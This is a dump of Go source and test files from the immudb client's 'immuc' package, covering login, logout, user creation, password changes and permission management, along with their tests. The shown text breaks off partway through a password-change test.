    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/stretchr/testify/require\"\n\n\t. \"github.com/codenotary/immudb/cmd/immuclient/immuc\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc TestConnect(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := OptionsFromEnv()\n\topts.GetImmudbClientOptions().\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t}).WithDir(t.TempDir())\n\timc, err := Init(opts)\n\trequire.NoError(t, err)\n\terr = imc.Connect([]string{\"\"})\n\trequire.NoError(t, err)\n\timc.WithFileTokenService(tokenservice.NewInmemoryTokenService())\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/login.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"google.golang.org/grpc/status\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n)\n\nfunc (i *immuc) Login(args []string) (string, error) {\n\tvar user []byte\n\tif len(args) >= 1 {\n\t\tuser = []byte(args[0])\n\t} else if len(i.options.immudbClientOptions.Username) > 0 {\n\t\tuser = []byte(i.options.immudbClientOptions.Username)\n\t} else {\n\t\treturn \"\", errors.New(\"please specify a username\")\n\t}\n\n\tvar pass []byte\n\tvar err error\n\tif len(i.options.immudbClientOptions.Password) == 0 {\n\t\tpass, err = i.options.immudbClientOptions.PasswordReader.Read(\"Password:\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t} else {\n\t\tpass = []byte(i.options.immudbClientOptions.Password)\n\t}\n\n\tctx := context.Background()\n\tresponse, err := i.ImmuClient.Login(ctx, user, pass)\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"authentication disabled\") {\n\t\t\treturn \"\", errors.New(\"authentication is disabled on server\")\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\ti.isLoggedin = true\n\tsuccessMsg := \"Successfully logged in\\n\"\n\tif len(response.Warning) != 0 {\n\t\tsuccessMsg += string(response.Warning)\n\t}\n\treturn successMsg, nil\n}\n\nfunc (i *immuc) Logout(args []string) (string, error) {\n\tvar err error\n\ti.isLoggedin = false\n\terr = i.ImmuClient.Logout(context.Background())\n\tst, ok := status.FromError(err)\n\tif ok && st.Message() == \"not logged in\" {\n\t\treturn \"User not logged in\", nil\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn \"Successfully logged out\", nil\n}\n\nfunc (i *immuc) UserCreate(args []string) (string, error) {\n\tif len(args) < 3 {\n\t\treturn \"incorrect number of parameters for this command. Please type 'user help' for more information\", nil\n\t}\n\tusername := args[0]\n\tpermission := args[1]\n\tdatabasename := args[2]\n\n\tpass, err := i.options.immudbClientOptions.PasswordReader.Read(fmt.Sprintf(\"Choose a password for %s:\", username))\n\tif err != nil {\n\t\treturn \"Error Reading Password\", nil\n\t}\n\tif err = auth.IsStrongPassword(string(pass)); err != nil {\n\t\treturn \"password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol\", nil\n\t}\n\tpass2, err := i.options.immudbClientOptions.PasswordReader.Read(\"Confirm password:\")\n\tif err != nil {\n\t\treturn \"Error Reading Password\", nil\n\t}\n\tif !bytes.Equal(pass, pass2) {\n\t\treturn \"Passwords don't match\", nil\n\t}\n\tvar userpermission uint32\n\tswitch permission {\n\tcase \"read\":\n\t\tuserpermission = auth.PermissionR\n\tcase \"admin\":\n\t\tuserpermission = auth.PermissionAdmin\n\tcase \"readwrite\":\n\t\tuserpermission = auth.PermissionRW\n\tdefault:\n\t\treturn \"permission value not recognized. Allowed permissions are read, readwrite, admin\", nil\n\t}\n\t_, err = i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.CreateUser(\n\t\t\tcontext.Background(), []byte(username), pass, userpermission, databasename)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"Created user %s\", username), nil\n}\n\nfunc (i *immuc) UserList(args []string) (string, error) {\n\tresponse, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn immuClient.ListUsers(context.Background())\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tuserList := response.(*schema.UserList)\n\tris := \"\\n\"\n\tris += \"User\\tActive\\tCreated By\\tCreated At\\t\\t\\t\\t\\tDatabase\\tPermission\"\n\tfor _, val := range userList.Users {\n\t\tris += fmt.Sprintf(\"%s\\t%v\\t%s\\t\\t%s\\n\", string(val.User), val.Active, val.Createdby, val.Createdat)\n\t\tfor _, val := range val.Permissions {\n\t\t\tris += fmt.Sprintf(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t%s\\t\\t\", val.Database)\n\t\t\tswitch val.Permission {\n\t\t\tcase auth.PermissionAdmin:\n\t\t\t\tris += \"Admin\\n\"\n\t\t\tcase auth.PermissionSysAdmin:\n\t\t\t\tris += \"System Admin\\n\"\n\t\t\tcase auth.PermissionR:\n\t\t\t\tris += \"Read\\n\"\n\t\t\tcase auth.PermissionRW:\n\t\t\t\tris += \"Read/Write\\n\"\n\t\t\tdefault:\n\t\t\t\treturn \"permission value not recognized. Allowed permissions are read, write, admin\", nil\n\t\t\t}\n\t\t}\n\t\tris += \"\\n\"\n\t}\n\treturn ris, nil\n}\n\nfunc (i *immuc) ChangeUserPassword(args []string) (string, error) {\n\tif len(args) < 1 {\n\t\treturn \"\", fmt.Errorf(\"ERROR: Not enough arguments. Use [command] --help for documentation \")\n\t}\n\tusername := args[0]\n\tvar oldpass []byte\n\tvar err error\n\tif username == auth.SysAdminUsername {\n\t\toldpass, err = i.options.immudbClientOptions.PasswordReader.Read(\"Old password:\")\n\t\tif err != nil {\n\t\t\treturn \"Error Reading Password\", nil\n\t\t}\n\t}\n\tnewpass, err := i.options.immudbClientOptions.PasswordReader.Read(fmt.Sprintf(\"Choose a password for %s:\", username))\n\tif err != nil {\n\t\treturn \"Error Reading Password\", nil\n\t}\n\tif err = auth.IsStrongPassword(string(newpass)); err != nil {\n\t\treturn \"password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol\", nil\n\t}\n\tpass2, err := i.options.immudbClientOptions.PasswordReader.Read(\"Confirm password:\")\n\tif err != nil {\n\t\treturn \"Error Reading Password\", nil\n\t}\n\tif !bytes.Equal(newpass, pass2) {\n\t\treturn \"Passwords don't match\", nil\n\t}\n\tif _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.ChangePassword(\n\t\t\tcontext.Background(), []byte(username), oldpass, []byte(newpass))\n\t}); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"Password of %s was successfully changed\", username), nil\n}\n\nfunc (i *immuc) SetActiveUser(args []string, active bool) (string, error) {\n\tif len(args) < 1 {\n\t\treturn \"incorrect number of parameters for this command. Please type 'user help' for more information\", nil\n\t}\n\tusername := args[0]\n\tif _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{\n\t\t\tActive:   active,\n\t\t\tUsername: username,\n\t\t})\n\t}); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn \"user status changed successfully\", nil\n}\n\nfunc (i *immuc) SetUserPermission(args []string) (string, error) {\n\tif len(args) != 4 {\n\t\treturn \"incorrect number of parameters for this command. Please type 'user help' for more information\", nil\n\t}\n\tvar permissionAction schema.PermissionAction\n\tswitch args[0] {\n\tcase \"grant\":\n\t\tpermissionAction = schema.PermissionAction_GRANT\n\tcase \"revoke\":\n\t\tpermissionAction = schema.PermissionAction_REVOKE\n\tdefault:\n\t\treturn \"wrong permission action. Only grant or revoke are allowed\", nil\n\t}\n\tusername := args[1]\n\tvar userpermission uint32\n\tswitch args[2] {\n\tcase \"read\":\n\t\tuserpermission = auth.PermissionR\n\tcase \"admin\":\n\t\tuserpermission = auth.PermissionAdmin\n\tcase \"readwrite\":\n\t\tuserpermission = auth.PermissionRW\n\tdefault:\n\t\treturn \"permission value not recognized. Allowed permissions are read, readwrite, admin\", nil\n\t}\n\n\tdbname := args[3]\n\n\tif _, err := i.Execute(func(immuClient client.ImmuClient) (interface{}, error) {\n\t\treturn nil, immuClient.ChangePermission(\n\t\t\tcontext.Background(), permissionAction, username, dbname, userpermission)\n\t}); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn \"permission changed successfully\", nil\n}\n"
  },
  {
    "path": "cmd/immuclient/immuc/login_errors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLoginAndUserCommandsErrors(t *testing.T) {\n\timmuClientMock := &clienttest.ImmuClientMock{}\n\tpasswordReaderMock := &clienttest.PasswordReaderMock{}\n\thomedirServiceMock := clienttest.DefaultHomedirServiceMock()\n\tic := new(immuc)\n\tic.ImmuClient = immuClientMock\n\tic.passwordReader = passwordReaderMock\n\tic.ts = tokenservice.NewTokenService().WithHds(homedirServiceMock)\n\n\t// Login errors\n\tpasswordReadErr := errors.New(\"Password read error\")\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn nil, passwordReadErr\n\t}\n\targs := []string{\"user1\"}\n\t_, err := ic.Login(args)\n\trequire.Equal(t, passwordReadErr, err)\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn []byte(\"pass1\"), nil\n\t}\n\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn nil, errors.New(\"authentication is disabled on server\")\n\t}\n\tresp, err := ic.Login(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"authentication is disabled on server\", resp)\n\n\timmuClientMock.LoginF = func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{Token: \"token1\"}, nil\n\t}\n\timmuClientMock.GetOptionsF = func() *client.Options {\n\t\treturn &client.Options{TokenFileName: \"TestLoginErrors_token\"}\n\t}\n\terrWriteFileToHomeDir := errors.New(\"write file to home dir error\")\n\thomedirServiceMock.WriteFileToUserHomeDirF = func([]byte, string) error {\n\t\treturn errWriteFileToHomeDir\n\t}\n\t_, err = ic.Login(args)\n\trequire.ErrorIs(t, err, errWriteFileToHomeDir)\n\n\thomedirServiceMock.WriteFileToUserHomeDirF = func([]byte, string) error {\n\t\treturn nil\n\t}\n\n\t// Logout errors\n\terrReadFileFromHomeDir := errors.New(\"read file from home dir error\")\n\thomedirServiceMock.ReadFileFromUserHomeDirF = func(string) (string, error) {\n\t\treturn \"\", errReadFileFromHomeDir\n\t}\n\tresp, err = ic.Logout(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"User not logged in.\", resp)\n\thomedirServiceMock.ReadFileFromUserHomeDirF = func(string) (string, error) {\n\t\treturn string(client.BuildToken(\"\", \"token1\")), nil\n\t}\n\n\terrDeleteFileFromHomeDir := errors.New(\"delete file from home dir error\")\n\thomedirServiceMock.DeleteFileFromUserHomeDirF = func(string) error {\n\t\treturn errDeleteFileFromHomeDir\n\t}\n\thomedirServiceMock.FileExistsInUserHomeDirF = func(string) (bool, error) {\n\t\treturn true, nil\n\t}\n\t_, err = ic.Logout(nil)\n\trequire.ErrorIs(t, err, errDeleteFileFromHomeDir)\n\n\t// UserCreate errors\n\tresp, err = ic.UserCreate(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"incorrect number of parameters for this command. Please type 'user help' for more information\", resp)\n\n\targs = []string{\"user1\", \"readwrite\", \"db1\"}\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn nil, passwordReadErr\n\t}\n\tresp, err = ic.UserCreate(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Error Reading Password\", resp)\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn []byte(\"pass1\"), nil\n\t}\n\n\tresp, err = ic.UserCreate(args)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\t\"password does not meet the requirements. It must contain upper and lower \"+\n\t\t\t\"case letters, digits, punctuation mark or symbol\",\n\t\tresp)\n\tpasswordReadCounter := 0\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpasswordReadCounter++\n\t\tif passwordReadCounter == 1 {\n\t\t\treturn []byte(\"$omePass1\"), nil\n\t\t}\n\t\treturn nil, passwordReadErr\n\t}\n\tresp, err = ic.UserCreate(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Error Reading Password\", resp)\n\n\tpasswordReadCounter = 0\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpasswordReadCounter++\n\t\tif passwordReadCounter == 1 {\n\t\t\treturn []byte(\"$omePass1\"), nil\n\t\t}\n\t\treturn []byte(\"$omePass2\"), nil\n\t}\n\tresp, err = ic.UserCreate(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Passwords don't match\", resp)\n\n\t// UserList errors\n\terrListUsers := errors.New(\"list users error\")\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn nil, errListUsers\n\t}\n\t_, err = ic.UserList(nil)\n\trequire.ErrorIs(t, err, errListUsers)\n\n\tuserList := &schema.UserList{\n\t\tUsers: []*schema.User{\n\t\t\t&schema.User{\n\t\t\t\tUser: []byte(\"user1\"),\n\t\t\t\tPermissions: []*schema.Permission{\n\t\t\t\t\t&schema.Permission{\n\t\t\t\t\t\tDatabase:   \"db1\",\n\t\t\t\t\t\tPermission: auth.PermissionAdmin,\n\t\t\t\t\t},\n\t\t\t\t\t&schema.Permission{\n\t\t\t\t\t\tDatabase:   \"db2\",\n\t\t\t\t\t\tPermission: auth.PermissionSysAdmin,\n\t\t\t\t\t},\n\t\t\t\t\t&schema.Permission{\n\t\t\t\t\t\tDatabase:   \"db3\",\n\t\t\t\t\t\tPermission: auth.PermissionR,\n\t\t\t\t\t},\n\t\t\t\t\t&schema.Permission{\n\t\t\t\t\t\tDatabase:   \"db4\",\n\t\t\t\t\t\tPermission: auth.PermissionRW,\n\t\t\t\t\t},\n\t\t\t\t\t&schema.Permission{\n\t\t\t\t\t\tDatabase:   \"db5\",\n\t\t\t\t\t\tPermission: auth.PermissionNone,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tCreatedby: \"admin\",\n\t\t\t\tCreatedat: \"2020-07-29\",\n\t\t\t\tActive:    true,\n\t\t\t},\n\t\t},\n\t}\n\timmuClientMock.ListUsersF = func(context.Context) (*schema.UserList, error) {\n\t\treturn userList, nil\n\t}\n\tresp, err = ic.UserList(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"permission value not recognized. Allowed permissions are read, write, admin\", resp)\n\n\tuserList.Users[0].Permissions = userList.Users[0].Permissions[0:4]\n\tresp, err = ic.UserList(nil)\n\trequire.NoError(t, err)\n\trequire.Contains(t, resp, \"user1\")\n\trequire.Contains(t, resp, \"db1\")\n\trequire.Contains(t, resp, \"db2\")\n\trequire.Contains(t, resp, \"db3\")\n\trequire.Contains(t, resp, \"db4\")\n\n\t// ChangeUserPassword errors\n\t_, err = ic.ChangeUserPassword(nil)\n\trequire.EqualError(t, err, \"ERROR: Not enough arguments. Use [command] --help for documentation \")\n\n\targs = []string{auth.SysAdminUsername}\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn nil, passwordReadErr\n\t}\n\tresp, err = ic.ChangeUserPassword(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Error Reading Password\", resp)\n\n\tpasswordReadCounter = 0\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpasswordReadCounter++\n\t\tif passwordReadCounter == 1 {\n\t\t\treturn []byte(\"pass1\"), nil\n\t\t}\n\t\treturn nil, passwordReadErr\n\t}\n\tresp, err = ic.ChangeUserPassword(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Error Reading Password\", resp)\n\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\treturn []byte(\"pass1\"), nil\n\t}\n\tresp, err = ic.ChangeUserPassword(args)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\t\"password does not meet the requirements. It must contain upper and lower \"+\n\t\t\t\"case letters, digits, punctuation mark or symbol\",\n\t\tresp)\n\n\tpasswordReadCounter = 0\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpasswordReadCounter++\n\t\tif passwordReadCounter < 3 {\n\t\t\treturn []byte(\"$omePass1\"), nil\n\t\t}\n\t\treturn nil, passwordReadErr\n\t}\n\tresp, err = ic.ChangeUserPassword(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Error Reading Password\", resp)\n\n\tpasswordReadCounter = 0\n\tpasswordReaderMock.ReadF = func(msg string) ([]byte, error) {\n\t\tpasswordReadCounter++\n\t\tif passwordReadCounter < 3 {\n\t\t\treturn []byte(\"$omePass1\"), nil\n\t\t}\n\t\treturn []byte(\"$omePass2\"), nil\n\t}\n\tresp, err = ic.ChangeUserPassword(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"Passwords don't match\", resp)\n\n\t// SetActiveUser errors\n\tresp, err = ic.SetActiveUser(nil, true)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\t\"incorrect number of parameters for this command. Please type 'user help' for more information\",\n\t\tresp)\n\n\terrSetActiveUser := errors.New(\"set active user error\")\n\timmuClientMock.SetActiveUserF = func(context.Context, *schema.SetActiveUserRequest) error {\n\t\treturn errSetActiveUser\n\t}\n\t_, err = ic.SetActiveUser([]string{\"user1\"}, true)\n\trequire.ErrorIs(t, err, errSetActiveUser)\n\n\t// SetUserPermission errors\n\tresp, err = ic.SetUserPermission(nil)\n\trequire.NoError(t, err)\n\trequire.Equal(\n\t\tt,\n\t\t\"incorrect number of parameters for this command. Please type 'user help' for more information\",\n\t\tresp)\n\n\targs = []string{\"default\", \"user1\", \"readwrite\", \"db1\"}\n\tresp, err = ic.SetUserPermission(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"wrong permission action. Only grant or revoke are allowed\", resp)\n\n\targs[0] = \"revoke\"\n\targs[2] = \"default\"\n\tresp, err = ic.SetUserPermission(args)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"permission value not recognized. Allowed permissions are read, readwrite, admin\", resp)\n\n\targs[2] = \"readwrite\"\n\terrChangePermission := errors.New(\"change permission error\")\n\timmuClientMock.ChangePermissionF = func(context.Context, schema.PermissionAction, string, string, uint32) error {\n\t\treturn errChangePermission\n\t}\n\t_, err = ic.SetUserPermission(args)\n\trequire.ErrorIs(t, err, errChangePermission)\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/immuc/login_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuc_test\n\nimport (\n\t\"testing\"\n\n\t. \"github.com/codenotary/immudb/cmd/immuclient/immuc\"\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\nfunc TestLogin(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := OptionsFromEnv()\n\topts.GetImmudbClientOptions().\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t}).\n\t\tWithPasswordReader(&test.PasswordReader{\n\t\t\tPass: []string{\"immudb\"},\n\t\t}).\n\t\tWithDir(t.TempDir())\n\n\timc, err := Init(opts)\n\trequire.NoError(t, err)\n\terr = imc.Connect([]string{\"\"})\n\trequire.NoError(t, err)\n\timc.WithFileTokenService(tokenservice.NewInmemoryTokenService())\n\n\tmsg, err := imc.Login([]string{\"immudb\"})\n\trequire.NoError(t, err)\n\trequire.Contains(t, msg, \"Successfully logged in\", \"Login error\")\n}\n\nfunc TestLogout(t *testing.T) {\n\toptions := server.DefaultOptions().WithDir(t.TempDir())\n\tbs := servertest.NewBufconnServer(options)\n\n\tbs.Start()\n\tdefer bs.Stop()\n\n\topts := OptionsFromEnv()\n\topts.GetImmudbClientOptions().\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t}).\n\t\tWithPasswordReader(&test.PasswordReader{\n\t\t\tPass: []string{\"immudb\"},\n\t\t}).\n\t\tWithDir(t.TempDir())\n\n\timc, err := Init(opts)\n\trequire.NoError(t, err)\n\terr = imc.Connect([]string{\"\"})\n\trequire.NoError(t, err)\n\timc.WithFileTokenService(tokenservice.NewInmemoryTokenService())\n\n\t_, err = imc.Logout([]string{\"\"})\n\trequire.NoError(t, err)\n}\n\nfunc TestUserList(t *testing.T) {\n\tic := setupTest(t)\n\n\t_, err := ic.Imc.UserList([]string{\"\"})\n\trequire.NoError(t, err, \"Userlist fail\")\n}\n\nfunc TestUserCreate(t *testing.T) {\n\ticMain := setupTest(t)\n\n\tvar userCreateTests = []struct {\n\t\tname     string\n\t\targs     []string\n\t\tpassword string\n\t\texpected string\n\t\ttest     func(*testing.T, string, []string, string)\n\t}{\n\t\t{\n\t\t\t\"Create user\",\n\t\t\t[]string{\"myuser\", \"readwrite\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"Created user\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic := test.NewClientTest(&test.PasswordReader{\n\t\t\t\t\tPass: []string{password, password},\n\t\t\t\t}, icMain.Ts, icMain.Options.GetImmudbClientOptions())\n\t\t\t\tic.Connect(icMain.Dialer)\n\n\t\t\t\tmsg, err := ic.Imc.UserCreate(args)\n\t\t\t\trequire.NoError(t, err, \"TestUserCreate fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"TestUserCreate failed to create user\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Create user read\",\n\t\t\t[]string{\"myuserRead\", \"read\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"Created user\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic := test.NewClientTest(&test.PasswordReader{\n\t\t\t\t\tPass: []string{password, password},\n\t\t\t\t}, icMain.Ts, icMain.Options.GetImmudbClientOptions())\n\t\t\t\tic.Connect(icMain.Dialer)\n\n\t\t\t\tmsg, err := ic.Imc.UserCreate(args)\n\t\t\t\trequire.NoError(t, err, \"TestUserCreate fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"TestUserCreate failed to create user\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Create user admin\",\n\t\t\t[]string{\"myuseradmin\", \"admin\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"Created user\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic := test.NewClientTest(&test.PasswordReader{\n\t\t\t\t\tPass: []string{password, password},\n\t\t\t\t}, icMain.Ts, icMain.Options.GetImmudbClientOptions())\n\t\t\t\tic.Connect(icMain.Dialer)\n\n\t\t\t\tmsg, err := ic.Imc.UserCreate(args)\n\t\t\t\trequire.NoError(t, err, \"TestUserCreate fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"TestUserCreate failed to create user\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Create user wrong permission\",\n\t\t\t[]string{\"myuserguard\", \"guard\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"permission value not recognized.\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic := test.NewClientTest(&test.PasswordReader{\n\t\t\t\t\tPass: []string{password, password},\n\t\t\t\t}, icMain.Ts, icMain.Options.GetImmudbClientOptions())\n\t\t\t\tic.Connect(icMain.Dialer)\n\n\t\t\t\tmsg, err := ic.Imc.UserCreate(args)\n\t\t\t\trequire.NoError(t, err, \"TestUserCreate fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"TestUserCreate failed to create user\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Create duplicate user\",\n\t\t\t[]string{\"myuser\", \"readwrite\", \"defaultdb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"user already exists\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic := test.NewClientTest(&test.PasswordReader{\n\t\t\t\t\tPass: []string{password, password},\n\t\t\t\t}, icMain.Ts, icMain.Options.GetImmudbClientOptions())\n\t\t\t\tic.Connect(icMain.Dialer)\n\n\t\t\t\tmsg, err := ic.Imc.UserCreate(args)\n\t\t\t\trequire.ErrorContains(t, err, exp, \"TestUserCreate fail\")\n\t\t\t\trequire.Empty(t, msg)\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range userCreateTests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttt.test(t, tt.password, tt.args, tt.expected)\n\t\t})\n\t}\n}\n\nfunc TestUserChangePassword(t *testing.T) {\n\tic := setupTest(t)\n\n\tvar userCreateTests = []struct {\n\t\tname     string\n\t\targs     []string\n\t\tpassword string\n\t\texpected string\n\t\ttest     func(*testing.T, string, []string, string)\n\t}{\n\t\t{\n\t\t\t\"Change user password\",\n\t\t\t[]string{\"immudb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"Password of immudb was successfully changed\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic.Pr = &test.PasswordReader{\n\t\t\t\t\tPass: []string{\"immudb\", password, password},\n\t\t\t\t}\n\t\t\t\tic.Connect(ic.Dialer)\n\t\t\t\tmsg, err := ic.Imc.ChangeUserPassword(args)\n\t\t\t\trequire.NoError(t, err, \"TestUserChangePassword fail\")\n\t\t\t\trequire.Contains(t, msg, exp, \"TestUserChangePassword failed to change password\")\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Change user password wrong old password\",\n\t\t\t[]string{\"immudb\"},\n\t\t\t\"MyUser@9\",\n\t\t\t\"old password is incorrect\",\n\t\t\tfunc(t *testing.T, password string, args []string, exp string) {\n\t\t\t\tic.Pr = &test.PasswordReader{\n\t\t\t\t\tPass: []string{password},\n\t\t\t\t}\n\t\t\t\tic.Connect(ic.Dialer)\n\t\t\t\tic.Login(\"immudb\")\n\n\t\t\t\tic.Pr = &test.PasswordReader{\n\t\t\t\t\tPass: []string{\"pass\", password, password},\n\t\t\t\t}\n\t\t\t\tic.Connect(ic.Dialer)\n\t\t\t\tmsg, err := 